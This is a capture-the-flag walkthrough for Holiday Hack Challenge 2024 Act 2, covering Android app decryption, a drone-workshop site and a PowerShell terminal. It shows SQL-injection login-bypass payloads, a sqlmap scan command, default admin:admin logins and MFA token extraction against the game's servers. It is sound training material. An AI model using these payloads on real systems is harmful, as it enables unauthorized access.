Act 2⚓︎
Story of Act 2:
Wombley's getting desparate. Out-elved by Alabaster's faction, he's planning a gruesome snowball fight to take over present delivery!
Piney, Chimney, and Eve each need your help.
Both sides want to see Christmas mission fulfilled. Will either yield? Who can bring order to such chaos?
Upon teleporting to Act 2, we are teleported to the Front Yard (Act 2) and obtain 5 fresh new objectives!
We also have access to the map!
Mobile Analysis⚓︎
Help find who has been left out of the naughty AND nice list this Christmas. Please speak with Eve Snowshoes for more information.
After navigating West to Eve Snowshoes, we obtain information on our next challenge of Mobile Analysis.
When speaking with Eve Snowshoes, we obtain the following hints:
Mobile Analysis Easy - Missing
Maybe look for what names are included and work back from that?
Mobile Analysis Hard - Format
So yeah, have you heard about this new Android app format? Want to convert it to an APK file?
Mobile Analysis Hard - Encryption and Obfuscation
Obfuscated and encrypted? Hmph. Shame you can't just run strings on the file.
Mobile Analysis Challenge (Silver)⚓︎
We download the challenge debug version of the mobile application from Eve Snowshoes speech:
But here’s my tiny reindeer-sized problem: I made a debug version and a release version of the app.
Decompile the APK with jadx and open with Android Studio for emulation / analysis purposes.
# Decompile
jadx SantaSwipe.apk
# Open project in Android Studio
studio SantaSwipe/
# Open project in VSCode
code SantaSwipe
The main source code of the application is located: SantaSwipe/sources/com/northpole/santaswipe/MainActivity.java
We are looking for who has been left out of the naughty AND nice list this Christmas, per the challenge instructions. Within MainActivity.java on lines 116-133, we come across the SQLite query that excludes any person with the name Ellie
:
@JavascriptInterface
public final void getNormalList() {
final String jsonItems;
try {
SQLiteDatabase sQLiteDatabase = MainActivity.this.database;
if (sQLiteDatabase == null) {
Intrinsics.throwUninitializedPropertyAccessException("database");
sQLiteDatabase = null;
}
Cursor cursor = sQLiteDatabase.rawQuery("SELECT Item FROM NormalList WHERE Item NOT LIKE '%Ellie%'", null);
List items = new ArrayList();
Log.d("WebAppInterface", "Fetching items from NormalList table");
while (cursor.moveToNext()) {
String item = cursor.getString(0);
Intrinsics.checkNotNull(item);
items.add(item);
Log.d("WebAppInterface", "Fetched item: " + item);
}
Answer: Ellie
After submitting the answer in the objectives tab, we obtain the silver challenge award.
Achievement
Congratulations! You have completed the [Silver] Mobile Analysis challenge!
Mobile Analysis Challenge (Gold)⚓︎
We download the challenge release version of the mobile application per Eve Snowshoes:
Eve Snowshoes
But here’s my tiny reindeer-sized problem: I made a debug version and a release version of the app.
We were given an .aab
file which per the reference in the hint is a Android App Bundle format. Per AAB to APK, we can use the bundletool, we can utilize the bundletool to convert this new format file to an APK. The bundletool
is the underlying tool that Android Studio, the Android Gradle plugin, and Google Play use to build an Android App Bundle. This can be done as follows:
bundletool build-apks --bundle=SantaSwipeSecure.aab --output=SantaSwipeSecure.apks --mode=universal
unzip SantaSwipeSecure.apks
Archive: SantaSwipeSecure.apks
extracting: SantaSwipeSecure/toc.pb
extracting: SantaSwipeSecure/universal.apk
mv SantaSwipeSecure/universal.apk SantaSwipeSecure.apk
rm -rf SantaSwipeSecure
# Decompile
jadx SantaSwipeSecure.apk
# Open project in Android Studio
studio SantaSwipeSecure/
# Open project in VSCode
code SantaSwipeSecure
The main source code of the application is located: SantaSwipeSecure/sources/com/northpole/santaswipe/MainActivity.java
The database source code of the application is located: SantaSwipeSecure/sources/com/northpole/santaswipe/DatabaseHelper.java
Within MainActivity.java on lines 309-330, there is a decryptData()
function that decrypts AES encrypted data with a staticIv
and secretKey
:
private final String decryptData(String encryptedData) {
try {
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
byte[] bArr = MainActivity.this.staticIv;
if (bArr == null) {
Intrinsics.throwUninitializedPropertyAccessException("staticIv");
bArr = null;
}
GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, bArr);
SecretKey secretKey = MainActivity.this.secretKey;
if (secretKey == null) {
Intrinsics.throwUninitializedPropertyAccessException("secretKey");
secretKey = null;
}
cipher.init(2, secretKey, gCMParameterSpec);
byte[] doFinal = cipher.doFinal(Base64.decode(encryptedData, 0));
Intrinsics.checkNotNull(doFinal);
return new String(doFinal, Charsets.UTF_8);
} catch (Exception unused) {
return null;
}
}
Within MainActivity.java we can see the IV and Secret Key are obtained on lines 43-62:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
String string = getString(R.string.iv);
Intrinsics.checkNotNullExpressionValue(string, "getString(...)");
byte[] decode = Base64.decode(StringsKt.trim((CharSequence) string).toString(), 0);
Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
this.staticIv = decode;
String string2 = getString(R.string.ek);
Intrinsics.checkNotNullExpressionValue(string2, "getString(...)");
byte[] decode2 = Base64.decode(StringsKt.trim((CharSequence) string2).toString(), 0);
this.secretKey = new SecretKeySpec(decode2, 0, decode2.length, "AES");
initializeDatabase();
initializeWebView();
initializeEncryption();
} catch (IllegalArgumentException e) {
Log.e("MainActivity", "Error during initialization: " + e.getMessage());
}
}
We can find the string variables R.string.iv
and R.string.ek
in resources/res/values/strings.xml
on lines 54 and 58:
<string name="ek">rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw=</string>
<string name="iv">Q2hlY2tNYXRlcml4</string>
We can create Java software that will decode each encrypted string in the code. We can also do it similarly in Python.
/**
* decrypt_mobileanalysis.java
* A utility class for decrypting AES-encrypted strings using AES/GCM/NoPadding mode.
* Holiday Hack 2024 - Mobile Analysis
**/
// Imports
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
import java.nio.charset.StandardCharsets;
public class decrypt_mobileanalysis {
// Static IV and Key
private static final byte[] STATIC_IV = Base64.getDecoder().decode("Q2hlY2tNYXRlcml4");
private static final byte[] SECRET_KEY_BYTES = Base64.getDecoder().decode("rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw=");
private static final SecretKeySpec SECRET_KEY = new SecretKeySpec(SECRET_KEY_BYTES, "AES");
/**
* Decrypts the given Base64-encoded encrypted string using AES/GCM/NoPadding.
*
* @param encryptedData The encrypted data in Base64 format.
* @return The decrypted string, or null if decryption fails.
*/
public static String decryptData(String encryptedData) {
try {
// Initialize the cipher
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
GCMParameterSpec gcmSpec = new GCMParameterSpec(128, STATIC_IV);
cipher.init(Cipher.DECRYPT_MODE, SECRET_KEY, gcmSpec);
// Decode the Base64-encoded encrypted data
byte[] decodedBytes = Base64.getDecoder().decode(encryptedData);
// Perform decryption
byte[] decryptedBytes = cipher.doFinal(decodedBytes);
// Convert the decrypted bytes into a string
return new String(decryptedBytes, StandardCharsets.UTF_8);
} catch (Exception e) {
// Return null if an error occurs during decryption
System.err.println("Decryption failed: " + e.getMessage());
return null;
}
}
public static void main(String[] args) {
String[] encryptedStrings = {
"IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ",
"KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8="
};
// Decrypt each string
for (String encrypted : encryptedStrings) {
String decrypted = decryptData(encrypted);
if (decrypted != null) {
System.out.println("CT: " + encrypted + " PT: " + decrypted);
} else {
System.out.println("CT: " + encrypted + " PT: Decryption failed");
}
}
}
}
After decrypting all the strings, we find the deletion of Joshua
within the decrypted SQLite query.
javac decrypt_mobileanalysis.java
java decrypt_mobileanalysis
CT: IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ PT: CREATE TRIGGER DeleteIfInsertedSpecificValue
AFTER INSERT ON NormalList
FOR EACH ROW
BEGIN
DELETE FROM NormalList WHERE Item = 'KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8=';
END;
CT: KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8= PT: Joshua, Birmingham, United Kingdom
Answer: Joshua
After submitting the answer in the objectives tab, we obtain the gold challenge award.
Achievement
Congratulations! You have completed the [Gold] Mobile Analysis challenge!
Drone Path⚓︎
Help the elf defecting from Team Wombley get invaluable, top secret intel to Team Alabaster. Find Chimney Scissorsticks, who is hiding inside the DMZ.
After navigating to the DMZ (mid map) using our fast travel on the map to Chimney Scissorsticks, we find our next challenge of Drone Path.
Drone Path Terminal Challenge (Silver)⚓︎
When clicking on the challenge we get a home screen of a Elf Drone Workshop website.
Within the FIleShare on the drop down menu we can download fritjolf-Path.kml which is a KML (Keyhole Markup Language) file is a format used for representing geographic data in Google Earth and Google Maps. It is an XML-based file that contains information about geographic features like points, lines, polygons, and images.
Using Google Earth we can import the project file:
We obtain the code GUMDROP1
spelled out in yellow - this might be a password. For a username we use fritjolf
from the KLM filename of fritjolf-Path.kml
. We can attempt login at https://hhc24-dronepath.holidayhackchallenge.com/login
and get Login successful!
We can also login with SQL Injection Authentication bypass: username ' OR 1=1 -- -
with any password.
After logging in, we get to the workshop and are presented with a search box.
Utilizing SQL injection, we get all the drone names from entering ' OR 1=1 -- -
into the search box:
Name: ELF-HAWK, Quantity: 40, Weapons: Snowball-launcher
Name: Pigeon-Lookalike-v4, Quantity: 20, Weapons: Surveillance Camera
Name: FlyingZoomer, Quantity: 4, Weapons: Snowball-Dropper
Name: Zapper, Quantity: 5, Weapons: CarrotSpike
Comments for Zapper
This is sort of primitive, but it works!
Attempting sqlmap, it was able to fingerprint the database but not dump it.
sqlmap --cookie 'session=<session>' --url 'https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' --random-agent --batch --level=5 --risk=3 --proxy=http://127.0.0.1:8080 --dump
---
[INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: drone (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: drone=' OR NOT 1868=1868-- MPGh
---
[INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
Now trying to enter all the drone names one by one...
- Entering in the drone
ELF-HAWK
provided us with a link to a secret dataset of ELF-HAWK-dump.csv and a mention that we are looking for an activation code in the large dataset.
- Entering in the drones
FlyingZoomer
andZapper
revealed nothing interesting.
Analyzing the data in the CSV, we plotted the Longitute (X) and Latitude (Y) on a scatter-plot revealed the code: DroneDataAnalystExpertMedal
We enter this code in the admin console and obtain the silver challenge award!
Achievement
Congratulations! You have completed the [Silver] Drone Path challenge!
Drone Path Terminal Challenge (Gold)⚓︎
After speaking with Chimney Scissorsticks again, he mentions we need to look for an injection flaw.
But I need you to dig deeper. Make sure you’re checking those file structures carefully, and remember—rumor has it there is some injection flaw that might just give you the upper hand. Keep your eyes sharp!
From the previous injection flaw, entering in the drone Pigeon-Lookalike-v4
- it mentions that there is something fishy with the TRUE/FALSE values in the file.
There are a total of 58 columns in the ELF-HAWK-dump.csv with Boolean (TRUE/FALSE) values.
Concatenating all the TRUE/FALSE to 1/0 respectively can lead to a nice ASCII art image. I decided to code it up in a Python script below, however you can also do it just as easily in bash.
grep -io 'true\|false' ELF-HAWK-dump.csv | tr '[:upper:]' '[:lower:]' | sed 's/true/1/g; s/false/0/g' | tr -d '\n' | perl -lpe '$_=pack"B*",$_'
We can create a Python script that will decode each TRUE/FALSE to binary then to ASCII equivalent. It is worth mentioning, the first row has a CSV typo where it is missing a newline between APP.warning3/7/2024
and will throw everything off.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to create ascii art from boolean columns.
Holiday Hack 2024 - Drone Path
"""
# Imports
import pandas as pd
from io import StringIO
# Read file
with open("ELF-HAWK-dump.csv", "r") as file:
file_contents = file.read()
# Parse the CSV data using pandas
file_contents = file_contents.replace("APP.warning3/7/2024", "APP.warning\n3/7/2024")
csv_data = StringIO(file_contents)
df = pd.read_csv(csv_data)
# Boolean columns
boolean_columns = df.select_dtypes(include="bool").columns
print(f"[*] Boolean Columns (len: {len(boolean_columns)}):")
# Iterate through each row
binary_data = ""
for _, row in df.iterrows():
for value in row:
# Check if the value is a boolean and convert it to '1' or '0'
if isinstance(value, bool):
binary_data += "1" if value else "0"
# Remove trailing and fix padding
binary_data = binary_data.rstrip("0")
padding_length = (8 - len(binary_data) % 8) % 8 # Calculate how many zeros to add
binary_data = binary_data + "0" * padding_length
print(f"[*] Binary Data (len: {len(binary_data)})")
# Convert binary data to ASCII string
ascii_string = ""
for i in range(0, len(binary_data), 8):
byte = binary_data[i : i + 8]
ascii_string += chr(int(byte, 2)) # Convert binary to integer and then to a character
print(ascii_string)
python3 asciiart_dronepath.py
[*] Boolean Columns (len: 58):
[*] Binary Data (len: 41768)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*::::::::::::::::::
:::::::::::::::::::::::::::::::-------------=--------::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::------------------------===-=======--=-::::::::::-:::::::::::::::::
::::::::::::::::::::------------:------------=-====================---:::::::::=+::::::::
:::::::::::::::::------------------------------=====================-------::::::::::::::
::::::::::::::-------------------------------------================:------:::::::::::::::
::::::::::::--------------------------------------==============-::--------:::::::::-::::
::::::::::::-------:--------@+:::::::::--=@--------:===========-::-::----==---:::::::::::
::::-------:::::----------@---::::::---+-==+@--------=========-:--:------=====---::::::::
::::--------::::::-------#--------------=-+@------------===------::-----====--==---::::::
::::-------:-:::::::------@=@=++#+++++@@@@@=-----------------:::--------------==---::::::
::::----------::::=-#-:----**%@+++++++%@@=::::::---%@------:--------:--@-+::-------::::::
::::-----:----:::::::::::--::@@**%@--::::::::::::::--=+@------------@--:::::------@::::::
::::---+@::::::---+@:::::::::#@-@--:::::-:=*=-::-----=+*=*=--------@:--:::::::-----=:::::
::::@-:::-::::::-----=@:-:::@+@%---------------==-==+@@@@@=@------@---------:::::--==+%::
:::#:::::::::::-----=+*@:::%#@#-=---------===++*%@@+@=+*#-+*=@-----#====-----------**-%::
::@--::-:::--:---==++*@-:@=+@=+-@=*+++++++**@#%*@-##**-@##%=#%@@@@#*@###@=+**@*****@@@:::
:::@*=--++++++++**@@@@@@*#@-+%@*=*+****@@@+@***@%@@%%%@-%@*@@@@@@@@@@@@@@%%#%%%@@@@@%::::
:::@@@@@@@++#*####@@@@@@@==---====+##@*%=+@*@*%%@@@@@@@@@@@@@@@=--@+@@@@+@@@@@@@@@@-:::::
::::=*%%%%%%%%%%%@@%@@#@-#*+++++====@-++###@%@*@@@@+@@@@-**+--::::--@@%@%%@%%%%%@@@-:::::
::::---@@@@##@@@@@@@@@--+@%-#+#**+=+++**%@@@@@@@##%**%--:::::::--*----=*@@@@@@@*@@---::::
::::---@@***%%%%@@@@*@-=-+=@#=#%##***##@@@@@#@@*@%%==---:::::::::::----=+---------=--::::
::::----@+=%#@@@=@@-----##@+:-=%@@%##%@@@@@@@@@@@@*+=-----::::::::::::=+*-@:----===--::::
::::---------------------*@##=+@@%@==-+@@@@@@@@@@@-+=---------------===+**--=======-:::::
:::---------------:------%+#%@@@@@#%%%%@@@@#@@@@@@@-+======---------==***#@========-:::::
:::-%-%---------:---------*-*##%@@@@@@@@@@@@@@@@@--=@@-*===++++++++++***@*===++++++=-::::
:::--+---------=-------:-----#==#@%%%@@@@@*@%@@@----@+@@@=***@@@@***@@@@%===++++-++=-::::
:::--------------:::::--------------##-----@@--------@%@#@@%%%%@@@@@@#@=====+++++++=-::::
:::---------------::::::---------------------=====---@@##@@@@@@@@@@@#%#-=====+++++--:::::
:::---======-------------------------=----==========--*=@@%@++*@@%%%@@-======:----==-::::
:::---===============------------------===============-----#@@@@@-----===-::---=====-::::
:::--=============+===--------------===-==================--------======::----=======-:::
:::--================---::::-=======-======================+=====+====::------===+===-:::
:::--===================--:::::====================+====-:---==+++=::-----=======---=-:::
:::--========:===========------:=====================:::-----====:-----==========+===-:::
/ ___/ _ \| _ \| ____\ \ / / _ \| _ \| _ \ _____ ====:-----==========+===-:::
| | | | | | | | | _| \ \ /\ / / | | | |_) | | | | |_____| ====:-----==========+===-:::
| |__| |_| | |_| | |___ \ V V /| |_| | _ <| |_| | |_____| ====:-----==========+===-:::
\____\___/|____/|_____|__\_/\_/__\___/|_| \_\____/ _ _________ ______ _ ____
| ____\ \/ / _ \| ____| _ \_ _|_ _| | | | _ \| |/ / ____\ \ / / ___| / \ | _ \
| _| \ /| |_) | _| | |_) || | | | | | | | |_) | ' /| _| \ V / | / _ \ | |_) |
| |___ / \| __/| |___| _ < | | | | | |_| | _ <| . \| |___ | || |___ / ___ \| _ <
|_____/_/\_\_| __|_____|_|_\_\|_| __|_| \___/|_| \_\_|\_\_____| |_| \____/_/ \_\_| \_\
\ \ / / ____| _ \| \/ | ____| _ \ / \ | | ==========---======++++=+=--+++=-:::
\ \ / /| _| | |_) | |\/| | _| | | | |/ _ \ | | ==========---======++++=+=--+++=-:::
\ V / | |___| _ <| | | | |___| |_| / ___ \| |___ ==========---======++++=+=--+++=-:::
\_/ |_____|_| \_\_| |_|_____|____/_/ \_\_____|==========---======++++=+=--+++=-:::
::::--====+++=---++++++=+========------::::=-:---==============---======++++=+=--+++=-:::
::::--==+++++++==---+++++++++++========-----================++++==-========-++=++====-:::
:::::--====+++++-++--++++++++++=--------=-==============+++---------=====++=+++++::::::::
::::::::======+++=+++=+++++++++++++++=++++===========++++:-------=---=-=----:::::::::::::
::::::::::::::::--=-=======++=++++++++++++++============--------------:::::::::::::::::::
:::::::::::::::::::::::::::------===-==-===-==-----::-:::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
After submitting the codeword: EXPERTTURKEYCARVERMEDAL
, we obtain the gold challenge award.
Achievement
Congratulations! You have completed the [Gold] Drone Path challenge!
PowerShell⚓︎
Team Wombley is developing snow weapons in preparation for conflict, but they've been locked out by their own defenses. Help Piney with regaining access to the weapon operations terminal.
After navigating to the far North-East of the map to Piney Sappington, we find our next challenge of PowerShell.
PowerShell Terminal Challenge (Silver)⚓︎
After clicking on the terminal, we get a new terminal challenge:
Powershell was another somewhat linear challenge, so I'll mostly leave raw notes with some interjection during Gold.
Question 1: There is a file in the current directory called welcome.txt
. Read the contents of this file:
Hint: Use the cmdlet Get-Content
to read the file.
System Overview
The Elf Weaponry Multi-Factor Authentication (MFA) system safeguards access to a classified armory containing elf weapons. This high-security system is equipped with advanced defense mechanisms, including canaries, retinal scanner and keystroke analyzing, to prevent unauthorized access. In the event of suspicious activity, the system automatically initiates a lockdown, restricting all access until manual override by authorized personnel.
Lockdown Protocols
When the system enters lockdown mode, all access to the armory is frozen. This includes both entry to and interaction with the weaponry storage. The defense mechanisms become active, deploying logical barriers to prohibit unauthorized access. During this state, users cannot disable the system without the intervention of an authorized administrator. The system logs all access attempts and alerts central command when lockdown is triggered.
Access and System Restoration
To restore access to the system, users must follow strict procedures. First, authorized personnel must identify the scrambled endpoint. Next, they must deactivate the defense mechanisms by entering the override code and presenting the required token. After verification, the system will resume standard operation, and access to weaponry is reactivated.
Question 2: How many words are there in the file?
Hint: The Measure-Object
cmdlet can help you count the words. Use Get-Help Measure-Object
for more information.
Question 3: There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on?
Hint: Use netstat
to find the port.
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:1225 0.0.0.0:* LISTEN
tcp6 0 0 127.0.0.1:55352 127.0.0.1:1225 TIME_WAIT
tcp6 0 0 172.17.0.2:40520 13.107.246.38:443 TIME_WAIT
Question 4: You should enumerate that webserver. Communicate with the server using HTTP, what status code do you get?
Hint: Use Invoke-WebRequest
to get the page content.
Question 5: It looks like defensive measures are in place, it is protected by basic authentication. Try authenticating with a standard admin username and password.
Hint: Use Get-Credential
to set your authentication, and Invoke-WebRequest
to get the page content. Try the username and password admin:admin
.
$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
Invoke-WebRequest -Uri 'http://localhost:1225' -Headers @{Authorization = $authHeader}
StatusCode : 200
StatusDescription : OK
Content : <html>
<body>
<pre>
----------------------------------------------------
🪖 Elf MFA webserver🪖
⚔️ Grab your tokens for access to weaponry ⚔️
⚔️ Warning! Sensitive information on the server, protect a…
RawContent : HTTP/1.1 200 OK
Server: Werkzeug/3.0.6
Server: Python/3.10.12
Date: Tue, 31 Dec 2024 05:22:12 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 3475
<html>
<body>
<pre>
---…
Headers : {[Server, System.String[]], [Date, System.String[]], [Connection, System.S
tring[]], [Content-Type, System.String[]]…}
Images : {}
InputFields : {}
Links : {@{outerHTML=<a href="http://localhost:1225/endpoints/1">Endpoint 1</a>; t
agName=A; href=http://localhost:1225/endpoints/1}, @{outerHTML=<a href="ht
tp://localhost:1225/endpoints/2">Endpoint 2</a>; tagName=A; href=http://lo
calhost:1225/endpoints/2}, @{outerHTML=<a href="http://localhost:1225/endp
oints/3">Endpoint 3</a>; tagName=A; href=http://localhost:1225/endpoints/3
}, @{outerHTML=<a href="http://localhost:1225/endpoints/4">Endpoint 4</a>;
tagName=A; href=http://localhost:1225/endpoints/4}…}
RawContentLength : 3475
RelationLink : {}
Question 6: There are too many endpoints here. Use a loop to download the contents of each page. What page has 138 words? When you find it, communicate with the URL and print the contents to the terminal.
Hint: Loop through the links by piping numbers to Invoke-WebRequest
. Then use Measure-Object
to count the words.
$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
$response = Invoke-WebRequest -Uri 'http://localhost:1225' -Headers @{Authorization = $authHeader}
$response.Links | ForEach-Object {
$content = Invoke-WebRequest -Uri $_.href -Headers @{Authorization = $authHeader}
if (($content | Measure-Object -Word).Words -eq 138) {
$content.Content
}
}
<html><head><title>MFA token scrambler</title></head><body><p>Yuletide cheer fills the air,<br> A season of love, of care.<br> The world is bright, full of light,<br> As we celebrate this special night.<br> The tree is trimmed, the stockings hung,<br> Carols are sung, bells are rung.<br> Families gather, friends unite,<br> In the glow of the fire’s light.<br> The air is filled with joy and peace,<br> As worries and cares find release.<br> Yuletide cheer, a gift so dear,<br> Brings warmth and love to all near.<br> May we carry it in our hearts,<br> As the season ends, as it starts.<br> Yuletide cheer, a time to share,<br> The love, the joy, the care.<br> May it guide us through the year,<br> In every laugh, in every tear.<br> Yuletide cheer, a beacon bright,<br> Guides us through the winter night </p><p> Note to self, remember to remove temp csvfile at http://127.0.0.1:1225/token_overview.csv</p></body></html>
Question 7: There seems to be a csv file in the comments of that page. That could be valuable, read the contents of that csv-file!
Hint: Use Invoke-WebRequest
to get the page content.
$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
(Invoke-WebRequest -Uri 'http://127.0.0.1:1225/token_overview.csv' -Headers @{Authorization = $authHeader}).Content
5be8911ced448dbb6f0bd5a24cc36935,REDACTED
1acbfea6a2dad66eb074b17459f8c5b6,REDACTED
0f262d0003bd696550744fd43cd5b520,REDACTED
8cac896f624576d825564bb30c7250eb,REDACTED
8ef6d2e12a58d7ec521a56f25e624b80,REDACTED
b4959370a4c484c10a1ecc53b1b56a7d,REDACTED
38bdd7748a70529e9beb04b95c09195d,REDACTED
8d4366f08c013f5c0c587b8508b48b15,REDACTED
67566692ca644ddf9c1344415972fba8,REDACTED
8fbf4152f89b7e309e89b9f7080c7230,REDACTED
936f4db24a290032c954073b3913f444,REDACTED
c44d8d6b03dcd4b6bf7cb53db4afdca6,REDACTED
cb722d0b55805cd6feffc22a9f68177d,REDACTED
724d494386f8ef9141da991926b14f9b,REDACTED
67c7aef0d5d3e97ad2488babd2f4c749,REDACTED
5f8dd236f862f4507835b0e418907ffc,4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C
# [*] SYSTEMLOG
# [*] Defence mechanisms activated, REDACTING endpoints, starting with sensitive endpoints
# [-] ERROR, memory corruption, not all endpoints have been REDACTED
# [*] Verification endpoint still active
# [*] http://127.0.0.1:1225/tokens/<sha256sum>
# [*] Contact system administrator to unlock panic mode
# [*] Site functionality at minimum to keep weapons active
Question 8: Luckily the defense mechanisms were faulty! There seems to be one api-endpoint that still isn't redacted! Communicate with that endpoint!
Hint: Use Invoke-WebRequest
to download the file and Get-Content to read the file.
$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
(Invoke-WebRequest -Uri 'http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C' -Headers @{Authorization = $authHeader}).Content
Question 9: It looks like it requires a cookie token, set the cookie and try again.
Hint: Use [Microsoft.PowerShell.Commands.WebRequestSession]
to store cookies in your session.
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("token", "5f8dd236f862f4507835b0e418907ffc", "/", "127.0.0.1")))
$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
(Invoke-WebRequest -Uri 'http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C' -Headers @{Authorization = $authHeader} -WebSession $session).Content
<h1>Cookie 'mfa_code', use it at <a href='1735623476.302283'>/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C</a></h1>
Question 10: Sweet we got a MFA token! We might be able to get access to the system. Validate that token at the endpoint!
Hint: You might need to chain commands together. If you are having trouble with the output scrolling off the screen, Out-Host -Paging
might help you.
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("token", "5f8dd236f862f4507835b0e418907ffc", "/", "127.0.0.1")))
$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
$mfa = Invoke-WebRequest -Uri 'http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C' -Headers @{Authorization = $authHeader} -WebSession $session
$session.Cookies.Add((New-Object System.Net.Cookie("mfa_token", $mfa.Links[0].href, "/", "127.0.0.1")))
(Invoke-WebRequest -Uri 'http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C' -Headers @{Authorization = $authHeader} -WebSession $session).Content
<h1>[+] Success</h1><br><p>Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==</p>
Question 11: That looks like base64! Decode it so we can get the final secret!
Hint: PowerShell is very flexible when it manages strings with System.Text.Encoding
. If your output is garbled, perhaps you need to define the correct encoding.
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg=="))
Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction
After completing question 11, we obtain the silver challenge award.
Achievement
Congratulations! You have completed the [Silver] PowerShell challenge!
PowerShell Terminal Challenge (Gold)⚓︎
After the silver challenge award, when speaking with Piney Sappington, we obtain the following hints:
PowerShell Admin Access - Total Control
I overheard some of the other elves talking. Even though the endpoints have been redacted, they are still operational. This means that you can probably elevate your access by communicating with them. I suggest working out the hashing scheme to reproduce the redacted endpoints. Luckily one of them is still active and can be tested against. Try hashing the token with SHA256 and see if you can reliably reproduce the endpoint. This might help, pipe the tokens to Get-FileHash -Algorithm SHA256
.
PowerShell Admin Access - Fakeout EDR Threshold
